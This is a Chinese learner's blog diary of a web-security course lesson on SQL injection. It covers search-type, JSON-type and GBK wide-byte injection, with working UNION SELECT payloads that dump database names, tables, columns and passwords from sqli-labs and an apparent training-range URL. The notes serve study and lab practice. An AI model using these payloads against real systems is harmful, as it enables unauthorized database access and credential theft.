日记学习小迪安全27

news/2024/12/21 22:09:20/

感觉复制粘贴没有意思,而且还有点浪费时间,主要是学习,不是复制,那就复制别人的吧

第27关就参考这篇文章吧,以下大部分内容都是参考以下文章(侵权删除)

第27天:WEB攻防-通用漏洞&SQL注入&Tamper脚本&Base64&Json&md5等 - 解放者-cracer - 博客园 (cnblogs.com)

sql注入类型

目录

搜索型

json型

宽字节注入


如果没有实战,那我就多思考一下吧,这个小迪的课都还没搞明白,你去搞其他的,浪费时间啊,这个不就是三分钟热度吗,对学习小迪安全这件事情,吧这个课搞明白,再去搞其他的行不行,我记得小迪说过,学完这个课,可以达到红队初中级,蓝队中高级,真的假的,那就努力学,不要搞其他事情,浪费时间

第26关没有靶场,那个实验做不出来

这个应该都是php+mysql+apache

搜索型

SQL语句:$sql="select * from sy_guestbook where gName like '%$s%'";

这个和其他的语句是不一样的,因为这个的闭合方式是不一样的,也不知道搜索型都是这样的闭合方式,还是只有这一种是这样的,

闭合方式为%'  xxxxxx   --+,为百分号单引号闭合(如果这样闭合不了的话,那就试试and,使其成为对比条件,使其相等,就不会影响sql语句)

select * from sy_guestbook where gName like '%演示%' +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='%'

json型

json型  表现形式不一样,提交数据一样的
{“username”:"admin"}    键名和键值
取数据的时候,只会接收admin的值,不会接收双引号。数据表现形式
json:
{"username":"admin","password":"xiaodi"}
常规:
username=admin&password=xiaodi如何注入:
常规:username=admin and 1=1&password=xiaodi
json:{"username":"admin and 1=1","password":"xiaodi"}
json格式,参考:https://baike.baidu.com/item/JSON/2462549?fr=aladdinjson注入payload应该怎么构造呢?
这里使用到post提交json={"username":"admin' order by 3#"}查询用户和数据库名:
json={"username":"admin' and 1=2 union select 1,database(),user()#"}

json型注入,出现的地方,根据我的猜测,应该是出现在用户名和密码的那个地方,也就是登录的地方,因为一个键对应一个值,格式是这样的

宽字节注入

宽字节注入条件:
(1)数据库查询设置为GBK编码
(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数

首先我们需要知道他是宽字节注入(小迪说的),所以我们先测试应该是这样测试的,%df',看是否报错

关于迪哥为什么加上and 1=-2,应该是让前面的式子不成立,执行后面的sql语句,我觉得可以直接在id=1,把1改成-1,前面搜索的结果为假,然后执行后面的aql语句

http://219.153.49.228:42692/new_list.php?id=1%df' and 1=-2 union select 1,2 3,4,5 --+

SQL注入接收数据,但是数据会出现/ \这种符号
转义函数:addslashes
\n 换行
\n 字符串,但是电脑以为你是换行
对字符串进行转义,\\n进行转义。%df就可以进行绕过,利用宽字节
原理:利用繁体字或者乱码,来进行占用两个字节。
\ 一个字节
� 两个字节
中文 两个字节
用到了addslashes函数后,再次进行注入的时候
注入payload:http://127.0.0.1:8081/web/news.php?gtpl=simple' order by 17--+
但是实际上的SQL语句执行时候:select * from sy_guestbook where gTpl='simple\' order by 17--+'
对'进行了转义,变成了\'

这里举例sql-lab的第33关来演示

由于单引号被转义了(第33关)
mysql_real_escape_string()函数会将SQL语句中使用的字符串中的特殊字符进行转义。这些特殊字符包括单引号('),双引号("),反斜杠(\)等。通过转义这些字符,可以防止恶意用户构造特殊的字符串来绕过SQL查询的限制,从而执行未授权的数据库操作。先获取表名(因为单引号被转义了,写成database())
http://sql-labs:8888/Less-33/?id=0%81%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database() --+在获取列名(将user进行16进制编码,0x表示16进制的前缀)
http://sql-labs:8888/Less-33/?id=0%81%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273 --+在获取数据
http://sql-labs:8888/Less-33/?id=-1%df' union select 1,2,password from users --+

参考

json的几种标准格式_json格式-CSDN博客

宽字节注入-CSDN博客


http://www.ppmy.cn/news/1536799.html

相关文章

虚拟化数据恢复—互斥不当导致vmfs卷损坏的数据恢复案例

虚拟化数据恢复环境: 某企业信息管理平台, 几台VMware ESX Server主机共享一台存储设备,大约有几十台虚拟机。 虚拟化故障&原因: Vcenter报告虚拟磁盘丢失。管理员通过ssh远程到ESX中执行fdisk -l命令查看磁盘,发…

计算机网络:计算机网络概述:网络、互联网与因特网的区别

文章目录 网络、互联网与因特网的区别网络分类 互联网因特网基于 ISP 的多层次结构的互连网络因特网的标准化工作因特网管理机构因特网的组成 网络、互联网与因特网的区别 若干节点和链路互连形成网络,若干网络通过路由器互连形成互联网 互联网是全球范围内的网络…

【论文阅读】超分辨率图像重建算法综述

0. 摘要 研究背景和意义 在人类视觉感知系统中,高分辨率(HR)图像对于清晰表达空间结构、细节特征、边缘纹理等信息至关重要,在医学、刑侦、卫星等多个领域具有广泛实用价值。超分辨率图像重建(SRIR)旨在从低…

TypeScript面向对象 02

抽象类 以abstract开头的类是抽象类。抽象类和其他类区别不大,只是不能用来创建对象。抽象类就是专门用来被继承的类。 抽象类中可以添加抽象方法。定义一个抽象方法使用abstract,没有方法体。抽象方法只能定义在抽象类中,子类必须对抽象方…

如何计算Pi?python

怎样计算PI? 下面是python程序: def calculate_pi(iterations): pi 0 for i in range(iterations): term (-1) ** i / (2 * i 1) pi term pi * 4 return pi # 设置迭代次数 iterations 1000000 estimated_pi ca…

Netty:高性能异步网络编程框架全解析

Netty作为一个基于Java NIO技术的开源异步事件驱动网络编程框架,已经成为开发高性能、高可靠性网络应用的首选工具之一。本文将全面介绍Netty的核心特性、架构原理以及使用方法,帮助你快速掌握这个强大的框架。 Netty的主要特点 异步事件驱动模型 Netty采用异步非阻塞的IO模型…

彩虹易支付最新版源码及安装教程(修复BUG+新增加订单投诉功能)

该源码当前版本为较新的版本,新增了订单投诉功能和一套精美的二次元模板。 此版本为全开源版本,所有文件均未加密。系统默认安装完成后无法直接打开,需要进一步配置。 本站特别针对BUG文件进行了修复,且在PHP7.4环境下表现良好。…

Redis篇(Redis原理 - 网络模型)

目录 一、用户空间和内核态空间 二、阻塞IO 三、非阻塞IO 四、IO多路复用 五、IO多路复用-select方式 六、IO多路复用模型-poll模式 七、IO多路复用模型-epoll函数 八、网络模型-epoll中的ET和LT 九、网络模型-基于epoll的服务器端流程 十、网络模型-信号驱动 异步IO…